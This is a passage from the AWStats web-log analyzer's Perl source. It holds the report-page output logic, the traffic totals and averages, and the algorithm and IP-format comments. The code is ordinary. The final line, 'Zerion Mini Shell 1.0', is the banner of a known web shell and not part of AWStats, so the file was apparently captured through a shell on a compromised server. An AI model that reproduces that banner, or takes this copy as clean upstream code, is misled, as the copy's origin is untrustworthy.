$hourix, 0, 0, $stringforload );
}
}
# HTMLHeadSection
if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) {
print "<a name=\"top\"></a>\n\n";
my $newhead = $HTMLHeadSection;
$newhead =~ s/\\n/\n/g;
print "$newhead\n";
print "\n";
}
# Call to plugins' function AddHTMLBodyHeader
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyHeader'} } ) {
my $function = "AddHTMLBodyHeader_$pluginname";
&$function();
}
my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 );
# TOP BAN
#---------------------------------------------------------------------
if ( $ShowMenu || $FrameName eq 'mainleft' ) {
HTMLTopBanner($WIDTHMENU1);
}
# Call to plugins' function AddHTMLMenuHeader
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuHeader'} } ) {
my $function = "AddHTMLMenuHeader_$pluginname";
&$function();
}
# MENU (ON LEFT IF FRAME OR TOP)
#---------------------------------------------------------------------
if ( $ShowMenu || $FrameName eq 'mainleft' ) {
HTMLMenu($NewLinkParams, $NewLinkTarget);
}
# Call to plugins' function AddHTMLMenuFooter
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuFooter'} } ) {
my $function = "AddHTMLMenuFooter_$pluginname";
&$function();
}
# Exit if left frame
if ( $FrameName eq 'mainleft' ) {
&html_end(0);
exit 0;
}
# TotalVisits TotalUnique TotalPages TotalHits TotalBytes TotalHostsKnown TotalHostsUnknown
$TotalUnique = $TotalVisits = $TotalPages = $TotalHits = $TotalBytes = 0;
$TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0;
$TotalHostsKnown = $TotalHostsUnknown = 0;
my $beginmonth = $MonthRequired;
my $endmonth = $MonthRequired;
if ( $MonthRequired eq 'all' ) { $beginmonth = 1; $endmonth = 12; }
for ( my $month = $beginmonth ; $month <= $endmonth ; $month++ ) {
my $monthix = sprintf( "%02s", $month );
$TotalHostsKnown += $MonthHostsKnown{ $YearRequired . $monthix }
|| 0; # Wrong in year view
$TotalHostsUnknown += $MonthHostsUnknown{ $YearRequired . $monthix }
|| 0; # Wrong in year view
$TotalUnique += $MonthUnique{ $YearRequired . $monthix }
|| 0; # Wrong in year view
$TotalVisits += $MonthVisits{ $YearRequired . $monthix }
|| 0; # Not completely true
$TotalPages += $MonthPages{ $YearRequired . $monthix } || 0;
$TotalHits += $MonthHits{ $YearRequired . $monthix } || 0;
$TotalBytes += $MonthBytes{ $YearRequired . $monthix } || 0;
$TotalNotViewedPages += $MonthNotViewedPages{ $YearRequired . $monthix }
|| 0;
$TotalNotViewedHits += $MonthNotViewedHits{ $YearRequired . $monthix }
|| 0;
$TotalNotViewedBytes += $MonthNotViewedBytes{ $YearRequired . $monthix }
|| 0;
}
# TotalHitsErrors TotalBytesErrors
$TotalHitsErrors = 0;
my $TotalBytesErrors = 0;
foreach ( keys %_errors_h ) {
# print "xxxx".$_." zzz".$_errors_h{$_};
$TotalHitsErrors += $_errors_h{$_};
$TotalBytesErrors += $_errors_k{$_};
}
# TotalEntries (if not already specifically counted, we init it from _url_e hash table)
if ( !$TotalEntries ) {
foreach ( keys %_url_e ) { $TotalEntries += $_url_e{$_}; }
}
# TotalExits (if not already specifically counted, we init it from _url_x hash table)
if ( !$TotalExits ) {
foreach ( keys %_url_x ) { $TotalExits += $_url_x{$_}; }
}
# TotalBytesPages (if not already specifically counted, we init it from _url_k hash table)
if ( !$TotalBytesPages ) {
foreach ( keys %_url_k ) { $TotalBytesPages += $_url_k{$_}; }
}
# TotalKeyphrases (if not already specifically counted, we init it from _keyphrases hash table)
if ( !$TotalKeyphrases ) {
foreach ( keys %_keyphrases ) { $TotalKeyphrases += $_keyphrases{$_}; }
}
# TotalKeywords (if not already specifically counted, we init it from _keywords hash table)
if ( !$TotalKeywords ) {
foreach ( keys %_keywords ) { $TotalKeywords += $_keywords{$_}; }
}
# TotalSearchEnginesPages (if not already specifically counted, we init it from _se_referrals_p hash table)
if ( !$TotalSearchEnginesPages ) {
foreach ( keys %_se_referrals_p ) {
$TotalSearchEnginesPages += $_se_referrals_p{$_};
}
}
# TotalSearchEnginesHits (if not already specifically counted, we init it from _se_referrals_h hash table)
if ( !$TotalSearchEnginesHits ) {
foreach ( keys %_se_referrals_h ) {
$TotalSearchEnginesHits += $_se_referrals_h{$_};
}
}
# TotalRefererPages (if not already specifically counted, we init it from _pagesrefs_p hash table)
if ( !$TotalRefererPages ) {
foreach ( keys %_pagesrefs_p ) {
$TotalRefererPages += $_pagesrefs_p{$_};
}
}
# TotalRefererHits (if not already specifically counted, we init it from _pagesrefs_h hash table)
if ( !$TotalRefererHits ) {
foreach ( keys %_pagesrefs_h ) {
$TotalRefererHits += $_pagesrefs_h{$_};
}
}
# TotalDifferentPages (if not already specifically counted, we init it from _url_p hash table)
$TotalDifferentPages ||= scalar keys %_url_p;
# TotalDifferentKeyphrases (if not already specifically counted, we init it from _keyphrases hash table)
$TotalDifferentKeyphrases ||= scalar keys %_keyphrases;
# TotalDifferentKeywords (if not already specifically counted, we init it from _keywords hash table)
$TotalDifferentKeywords ||= scalar keys %_keywords;
# TotalDifferentSearchEngines (if not already specifically counted, we init it from _se_referrals_h hash table)
$TotalDifferentSearchEngines ||= scalar keys %_se_referrals_h;
# TotalDifferentReferer (if not already specifically counted, we init it from _pagesrefs_h hash table)
$TotalDifferentReferer ||= scalar keys %_pagesrefs_h;
# Define firstdaytocountaverage, lastdaytocountaverage, firstdaytoshowtime, lastdaytoshowtime
my $firstdaytocountaverage =
$nowyear . $nowmonth . "01"; # Set day cursor to 1st day of month
my $firstdaytoshowtime =
$nowyear . $nowmonth . "01"; # Set day cursor to 1st day of month
my $lastdaytocountaverage =
$nowyear . $nowmonth . $nowday; # Set day cursor to today
my $lastdaytoshowtime =
$nowyear . $nowmonth . "31"; # Set day cursor to last day of month
if ( $MonthRequired eq 'all' ) {
$firstdaytocountaverage =
$YearRequired
. "0101"; # Set day cursor to 1st day of the required year
}
if ( ( $MonthRequired ne $nowmonth && $MonthRequired ne 'all' )
|| $YearRequired ne $nowyear )
{
if ( $MonthRequired eq 'all' ) {
$firstdaytocountaverage =
$YearRequired
. "0101"; # Set day cursor to 1st day of the required year
$firstdaytoshowtime =
$YearRequired . "1201"
; # Set day cursor to 1st day of last month of required year
$lastdaytocountaverage =
$YearRequired
. "1231"; # Set day cursor to last day of the required year
$lastdaytoshowtime =
$YearRequired . "1231"
; # Set day cursor to last day of last month of required year
}
else {
$firstdaytocountaverage =
$YearRequired
. $MonthRequired
. "01"; # Set day cursor to 1st day of the required month
$firstdaytoshowtime =
$YearRequired
. $MonthRequired
. "01"; # Set day cursor to 1st day of the required month
$lastdaytocountaverage =
$YearRequired
. $MonthRequired
. "31"; # Set day cursor to last day of the required month
$lastdaytoshowtime =
$YearRequired
. $MonthRequired
. "31"; # Set day cursor to last day of the required month
}
}
if ($Debug) {
debug(
"firstdaytocountaverage=$firstdaytocountaverage, lastdaytocountaverage=$lastdaytocountaverage",
1
);
debug(
"firstdaytoshowtime=$firstdaytoshowtime, lastdaytoshowtime=$lastdaytoshowtime",
1
);
}
# Call to plugins' function AddHTMLContentHeader
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLContentHeader'} } )
{
# to add unique visitors & number of visits, by J Ruano @ CAPSiDE
if ( $ShowDomainsStats =~ /U/i ) {
print "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>";
}
if ( $ShowDomainsStats =~ /V/i ) {
print "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>";
}
my $function = "AddHTMLContentHeader_$pluginname";
&$function();
}
# Output individual frames or static pages for specific sections
#-----------------------
if ( scalar keys %HTMLOutput == 1 ) {
if ( $HTMLOutput{'alldomains'} ) {
&HTMLShowDomains();
}
if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) {
&HTMLShowHosts();
}
if ( $HTMLOutput{'unknownip'} ) {
&HTMLShowHostsUnknown();
}
if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) {
&HTMLShowEmailSendersChart( $NewLinkParams, $NewLinkTarget );
&html_end(1);
}
if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) {
&HTMLShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget );
&html_end(1);
}
if ( $HTMLOutput{'alllogins'} || $HTMLOutput{'lastlogins'} ) {
&HTMLShowLogins();
}
if ( $HTMLOutput{'allrobots'} || $HTMLOutput{'lastrobots'} ) {
&HTMLShowRobots();
}
if ( $HTMLOutput{'urldetail'}
|| $HTMLOutput{'urlentry'}
|| $HTMLOutput{'urlexit'} )
{
&HTMLShowURLDetail();
}
if ( $HTMLOutput{'unknownos'} ) {
&HTMLShowOSUnknown($NewLinkTarget);
}
if ( $HTMLOutput{'unknownbrowser'} ) {
&HTMLShowBrowserUnknown($NewLinkTarget);
}
if ( $HTMLOutput{'osdetail'} ) {
&HTMLShowOSDetail();
}
if ( $HTMLOutput{'browserdetail'} ) {
&HTMLShowBrowserDetail();
}
if ( $HTMLOutput{'refererse'} ) {
&HTMLShowReferers($NewLinkTarget);
}
if ( $HTMLOutput{'refererpages'} ) {
&HTMLShowRefererPages($NewLinkTarget);
}
if ( $HTMLOutput{'keyphrases'} ) {
&HTMLShowKeyPhrases($NewLinkTarget);
}
if ( $HTMLOutput{'keywords'} ) {
&HTMLShowKeywords($NewLinkTarget);
}
if ( $HTMLOutput{'downloads'} ) {
&HTMLShowDownloads();
}
foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
if ( $HTMLOutput{"errors$code"} ) {
&HTMLShowErrorCodes($code);
}
}
# BY EXTRA SECTIONS
#----------------------------
HTMLShowExtraSections();
if ( $HTMLOutput{'info'} ) {
# TODO Not yet available
print "$Center<a name=\"info\"> </a><br />";
&html_end(1);
}
# Print any plugins that have individual pages
# TODO - change name, graph isn't so descriptive
my $htmloutput = '';
foreach my $key ( keys %HTMLOutput ) { $htmloutput = $key; }
if ( $htmloutput =~ /^plugin_(\w+)$/ ) {
my $pluginname = $1;
print "$Center<a name=\"plugin_$pluginname\"> </a><br />";
my $function = "AddHTMLGraph_$pluginname";
&$function();
&html_end(1);
}
}
# Output main page
#-----------------
if ( $HTMLOutput{'main'} ) {
# Calculate averages
my $max_p = 0;
my $max_h = 0;
my $max_k = 0;
my $max_v = 0;
my $average_nb = 0;
foreach my $daycursor ($firstdaytocountaverage .. $lastdaytocountaverage )
{
$daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
my $year = $1;
my $month = $2;
my $day = $3;
if ( !DateIsValid( $day, $month, $year ) ) {
next;
} # If not an existing day, go to next
$average_nb++; # Increase number of day used to count
$AverageVisits += ( $DayVisits{$daycursor} || 0 );
$AveragePages += ( $DayPages{$daycursor} || 0 );
$AverageHits += ( $DayHits{$daycursor} || 0 );
$AverageBytes += ( $DayBytes{$daycursor} || 0 );
}
if ($average_nb) {
$AverageVisits = $AverageVisits / $average_nb;
$AveragePages = $AveragePages / $average_nb;
$AverageHits = $AverageHits / $average_nb;
$AverageBytes = $AverageBytes / $average_nb;
if ( $AverageVisits > $max_v ) { $max_v = $AverageVisits; }
#if ($average_p > $max_p) { $max_p=$average_p; }
if ( $AverageHits > $max_h ) { $max_h = $AverageHits; }
if ( $AverageBytes > $max_k ) { $max_k = $AverageBytes; }
}
else {
$AverageVisits = "?";
$AveragePages = "?";
$AverageHits = "?";
$AverageBytes = "?";
}
# SUMMARY
#---------------------------------------------------------------------
if ($ShowSummary) {
&HTMLMainSummary();
}
# BY MONTH
#---------------------------------------------------------------------
if ($ShowMonthStats) {
&HTMLMainMonthly();
}
print "\n<a name=\"when\"> </a>\n\n";
# BY DAY OF MONTH
#---------------------------------------------------------------------
if ($ShowDaysOfMonthStats) {
&HTMLMainDaily($firstdaytocountaverage, $lastdaytocountaverage,
$firstdaytoshowtime, $lastdaytoshowtime);
}
# BY DAY OF WEEK
#-------------------------
if ($ShowDaysOfWeekStats) {
&HTMLMainDaysofWeek($firstdaytocountaverage, $lastdaytocountaverage, $NewLinkParams, $NewLinkTarget);
}
# BY HOUR
#----------------------------
if ($ShowHoursStats) {
&HTMLMainHours($NewLinkParams, $NewLinkTarget);
}
print "\n<a name=\"who\"> </a>\n\n";
# BY COUNTRY/DOMAIN
#---------------------------
if ($ShowDomainsStats) {
&HTMLMainCountries($NewLinkParams, $NewLinkTarget);
}
# BY HOST/VISITOR
#--------------------------
if ($ShowHostsStats) {
&HTMLMainHosts($NewLinkParams, $NewLinkTarget);
}
# BY SENDER EMAIL
#----------------------------
if ($ShowEMailSenders) {
&HTMLShowEmailSendersChart( $NewLinkParams, $NewLinkTarget );
}
# BY RECEIVER EMAIL
#----------------------------
if ($ShowEMailReceivers) {
&HTMLShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget );
}
# BY LOGIN
#----------------------------
if ($ShowAuthenticatedUsers) {
&HTMLMainLogins($NewLinkParams, $NewLinkTarget);
}
# BY ROBOTS
#----------------------------
if ($ShowRobotsStats) {
&HTMLMainRobots($NewLinkParams, $NewLinkTarget);
}
# BY WORMS
#----------------------------
if ($ShowWormsStats) {
&HTMLMainWorms();
}
print "\n<a name=\"how\"> </a>\n\n";
# BY SESSION
#----------------------------
if ($ShowSessionsStats) {
&HTMLMainSessions();
}
# BY FILE TYPE
#-------------------------
if ($ShowFileTypesStats) {
&HTMLMainFileType($NewLinkParams, $NewLinkTarget);
}
# BY FILE SIZE
#-------------------------
if ($ShowFileSizesStats) {
&HTMLMainFileSize();
}
# BY DOWNLOADS
#-------------------------
if ($ShowDownloadsStats) {
&HTMLMainDownloads($NewLinkParams, $NewLinkTarget);
}
# BY PAGE
#-------------------------
if ($ShowPagesStats) {
&HTMLMainPages($NewLinkParams, $NewLinkTarget);
}
# BY OS
#----------------------------
if ($ShowOSStats) {
&HTMLMainOS($NewLinkParams, $NewLinkTarget);
}
# BY BROWSER
#----------------------------
if ($ShowBrowsersStats) {
&HTMLMainBrowsers($NewLinkParams, $NewLinkTarget);
}
# BY SCREEN SIZE
#----------------------------
if ($ShowScreenSizeStats) {
&HTMLMainScreenSize();
}
print "\n<a name=\"refering\"> </a>\n\n";
# BY REFERENCE
#---------------------------
if ($ShowOriginStats) {
&HTMLMainReferrers($NewLinkParams, $NewLinkTarget);
}
print "\n<a name=\"keys\"> </a>\n\n";
# BY SEARCH KEYWORDS AND/OR KEYPHRASES
#-------------------------------------
if ($ShowKeyphrasesStats || $ShowKeywordsStats){
&HTMLMainKeys($NewLinkParams, $NewLinkTarget);
}
print "\n<a name=\"other\"> </a>\n\n";
# BY MISC
#----------------------------
if ($ShowMiscStats) {
&HTMLMainMisc();
}
# BY HTTP STATUS
#----------------------------
if ($ShowHTTPErrorsStats) {
&HTMLMainHTTPStatus($NewLinkParams, $NewLinkTarget);
}
# BY SMTP STATUS
#----------------------------
if ($ShowSMTPErrorsStats) {
&HTMLMainSMTPStatus($NewLinkParams, $NewLinkTarget);
}
# BY CLUSTER
#----------------------------
if ($ShowClusterStats) {
&HTMLMainCluster($NewLinkParams, $NewLinkTarget);
}
# BY EXTRA SECTIONS
#----------------------------
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
&HTMLMainExtra($NewLinkParams, $NewLinkTarget, $extranum);
}
# close the HTML page
&html_end(1);
}
}
else {
print "Jumped lines in file: $lastlinenb\n";
if ($lastlinenb) { print " Found $lastlinenb already parsed records.\n"; }
print "Parsed lines in file: $NbOfLinesParsed\n";
print " Found $NbOfLinesDropped dropped records,\n";
print " Found $NbOfLinesComment comments,\n";
print " Found $NbOfLinesBlank blank records,\n";
print " Found $NbOfLinesCorrupted corrupted records,\n";
print " Found $NbOfOldLines old records,\n";
print " Found $NbOfNewLines new qualified records.\n";
}
#sleep 10;
0; # Do not remove this line
#-------------------------------------------------------
# ALGORITHM SUMMARY
#
# Read_Config();
# Check_Config() and Init variables
# if 'frame not index'
# &Read_Language_Data($Lang);
# if 'frame not mainleft'
# &Read_Ref_Data();
# &Read_Plugins();
# html_head
#
# If 'migrate'
# We create/update tmp file with
# &Read_History_With_TmpUpdate(year,month,day,hour,UPDATE,NOPURGE,"all");
# Rename the tmp file
# html_end
# Exit
# End of 'migrate'
#
# Get last history file name
# Get value for $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum with
# &Read_History_With_TmpUpdate(lastyearbeforeupdate,lastmonthbeforeupdate,lastdaybeforeupdate,lasthourbeforeupdate,NOUPDATE,NOPURGE,"general");
#
# &Init_HashArray()
#
# If 'update'
# Loop on each new line in log file
# lastlineoffset=lastlineoffsetnext; lastlineoffsetnext=file pointer position
# If line corrupted, skip --> next on loop
# Drop wrong virtual host --> next on loop
# Drop wrong method/protocol --> next on loop
# Check date --> next on loop
# If line older than $LastLine, skip --> next on loop
# So it's new line
# $LastLine = time or record
# Skip if url is /robots.txt --> next on loop
# Skip line for @SkipHosts --> next on loop
# Skip line for @SkipFiles --> next on loop
# Skip line for @SkipUserAgent --> next on loop
# Skip line for not @OnlyHosts --> next on loop
# Skip line for not @OnlyUsers --> next on loop
# Skip line for not @OnlyFiles --> next on loop
# Skip line for not @OnlyUserAgent --> next on loop
# So it's new line approved
# If other month/year, create/update tmp file and purge data arrays with
# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_));
# Define a clean Url and Query (set urlwithnoquery, tokenquery and standalonequery and $field[$pos_url])
# Define PageBool and extension
# Analyze: Misc tracker --> complete %misc
# Analyze: Hit on favorite icon --> complete %_misc, countedtraffic=1 (not counted anywhere)
# If (!countedtraffic) Analyze: Worms --> complete %_worms, countedtraffic=2
# If (!countedtraffic) Analyze: Status code --> complete %_error_, %_sider404, %_referrer404 --> countedtraffic=3
# If (!countedtraffic) Analyze: Robots known --> complete %_robot, countedtraffic=4
# If (!countedtraffic) Analyze: Robots unknown on robots.txt --> complete %_robot, countedtraffic=5
# If (!countedtraffic) Analyze: File types - Compression
# If (!countedtraffic) Analyze: Date - Hour - Pages - Hits - Kilo
# If (!countedtraffic) Analyze: Login
# If (!countedtraffic) Do DNS Lookup
# If (!countedtraffic) Analyze: Country
# If (!countedtraffic) Analyze: Host - Url - Session
# If (!countedtraffic) Analyze: Browser - OS
# If (!countedtraffic) Analyze: Referer
# If (!countedtraffic) Analyze: EMail
# Analyze: Cluster
# Analyze: Extra (must be after 'Define a clean Url and Query')
# If too many records, we flush data arrays with
# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_));
# End of loop
#
# Create/update tmp file
# Seek to lastlineoffset in logfile to read and get last line into $_
# &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_))
# Rename all created tmp files
# End of 'update'
#
# &Init_HashArray()
#
# If 'output'
# Loop for each month of required year
# &Read_History_With_TmpUpdate($YearRequired,$monthloop,'','',NOUPDATE,NOPURGE,'all' or 'general time' if not required month)
# End of loop
# Show data arrays in HTML page
# html_end
# End of 'output'
#-------------------------------------------------------
#-------------------------------------------------------
# DNS CACHE FILE FORMATS SUPPORTED BY AWSTATS
# Format /etc/hosts x.y.z.w hostname
# Format analog UT/60 x.y.z.w hostname
#-------------------------------------------------------
#-------------------------------------------------------
# IP Format (d=decimal on 16 bits, x=hexadecimal on 16 bits)
#
# 13.1.68.3 IPv4 (d.d.d.d)
# 0:0:0:0:0:0:13.1.68.3 IPv6 (x:x:x:x:x:x:d.d.d.d)
# ::13.1.68.3
# 0:0:0:0:0:FFFF:13.1.68.3 IPv6 (x:x:x:x:x:x:d.d.d.d)
# ::FFFF:13.1.68.3 IPv6
#
# 1070:0:0:0:0:800:200C:417B IPv6
# 1070:0:0:0:0:800:200C:417B IPv6
# 1070::800:200C:417B IPv6
#-------------------------------------------------------
Zerion Mini Shell 1.0